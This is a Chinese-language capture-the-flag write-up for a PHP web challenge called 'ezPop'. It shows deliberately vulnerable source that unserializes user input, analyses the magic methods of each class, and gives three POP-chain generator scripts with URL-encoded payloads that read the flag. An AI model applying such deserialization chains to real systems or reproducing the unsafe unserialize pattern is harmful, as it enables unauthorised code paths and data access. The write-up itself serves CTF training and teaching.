[校赛] - Web - ezPop
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Z{
public $key;
public function __wakeup(){
$this -> key = 'nothing';
}
public function __destruct(){
if($this -> key == 'xatu'){
include('flag.php');
echo $flag;
}else{
die("NO!");
}
}
}
class A{
public $name;
public $b;
public function __construct($a,$b){
$this -> name = $a;
$this -> b = $b;
}
public function hello($a){
echo "hello!".$a;
}
public function __destruct(){
$this -> b -> hello($this -> name);
}
}
class B{
public $obj;
public function __construct($obj){
$this -> obj = $obj;
}
public function hello($name){
$this -> obj -> $name();
}
public function __invoke()
{
echo "Oh,You touch me but useless!";
}
}
class C{
public $test;
public function __construct($test){
$this -> test = $test;
}
public function __call($name,$arg){
echo 'Got :'.$this -> test;
}
}
class D{
public $name;
public function __construct($name){
$this -> name = $name;
}
public function hello($name){
echo "Welcome to CTF ,".$name;
}
public function __toString(){
if(isset($this -> name) && $this -> name == "xatu"){
include('flag.php');
echo $flag;
}
return "You Win!";
}
}
@unserialize($_GET['pop']);
分析
class Z{
public $key;
public function __wakeup(){
$this -> key = 'nothing';
}
public function __destruct(){
if($this -> key == 'xatu'){
include('flag.php');
echo $flag;
}else{
die("NO!");
}
}
}
- 一个共有属性
$key -
__wakeup()在反序列化前触发,将'nothing'赋给$key -
__destruct()在对象被销毁时触发,此时如果$key == xatu的时候,包含并运行flag.php,输出$flag
class A{
public $name;
public $b;
public function __construct($a,$b){
$this -> name = $a;
$this -> b = $b;
}
public function hello($a){
echo "hello!".$a;
}
public function __destruct(){
$this -> b -> hello($this -> name);
}
}
- 两个共有属性:
$name、$b -
__construct()在对象实体化时触发,接收传参分别赋给$name、$b -
hello()将$a当作字符串输出(可以触发D对象的__toString()方法) -
__destruct()在对象被销毁时触发,调用b对象的hello()方法并将该对象的name传过去
class B{
public $obj;
public function __construct($obj){
$this -> obj = $obj;
}
public function hello($name){
$this -> obj -> $name();
}
public function __invoke()
{
echo "Oh,You touch me but useless!";
}
}
- 一个共有属性
$obj -
__construct()在对象被实体化时触发,将传过来的赋给$obj -
hello()调用obj对象的$name(),可以触发B类的__invoke()方法 -
__invoke()在对象被当作函数使用时触发,输出一句话,这里需要绕过
class C{
public $test;
public function __construct($test){
$this -> test = $test;
}
public function __call($name,$arg){
echo 'Got :'.$this -> test;
}
}
- 一个共有属性
$test -
__construct()在对象被实体化时触发,将值赋给$test -
__call()当调用该类无法访问的方法时被触发,将该类的test当作字符串输出,可以触发D类的__toString()方法
class D{
public $name;
public function __construct($name){
$this -> name = $name;
}
public function hello($name){
echo "Welcome to CTF ,".$name;
}
public function __toString(){
if(isset($this -> name) && $this -> name == "xatu"){
include('flag.php');
echo $flag;
}
return "You Win!";
}
}
- 一个共有属性
$name -
__construct()在对象被实体化时触发,将值赋给name -
hello()方法将name当作字符串输出,可以触发该类的__toString()方法 -
__toString()在对象被当作字符串使用时触发,它判断name不为空且弱等于xatu,包含并执行flag.php,输出$falg
- 拿flag:
D类中的name == "xatu",调用其__toString() - 触发
__toString():A类和D类的hello()方法,意味着这两个类中的属性可能为D类的对象 - 调用
hello():A类的__destruct()方法调用b的hello()方法,意味着b属性可能为A类的对象或者D类的对象,name属性为D类的对象
方法一、二:

方法三:

payload
- 用
D类的hello触发
<?php
class D{
public $name = "xatu";
}
class A{
public $name;
public $b;
public function __construct($a, $b){
$this -> name = $a;
$this -> b = $b;
}
}
$a1 = new D;
$a2 = new D;
$a = new A($a1, $a2);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D
- 用
A类的hello触发
<?php
class D{
public $name = "xatu";
}
class A{
public $name;
public $b;
public function __construct($a, $b){
$this -> name = $a;
$this -> b = $b;
}
}
$a1 = new D;
$a2 = new A(1, 1);
$a = new A($a1, $a2);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A1%3A%22b%22%3Bi%3A1%3B%7D%7D
- 用
B、C类触发
<?php
class D{
public $name = "xatu";
}
class C{
public $test;
public function __construct($c){
$this -> test = $c;
}
}
class B{
public $obj;
public function __construct($b){
$this -> obj = $b;
}
}
class A{
public $b;
//这里的字符串是啥都行
//为的是触发B类的__call()
public $name = "fuc";
public function __construct($a){
$this -> b = $a;
}
}
$c = new D;
$b = new C($c);
$a1 = new B($b);
$a = new A($a1);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D%7Ds%3A4%3A%22name%22%3Bs%3A3%3A%22fuc%22%3B%7D
最后,给你们看一眼flag,嘻嘻?
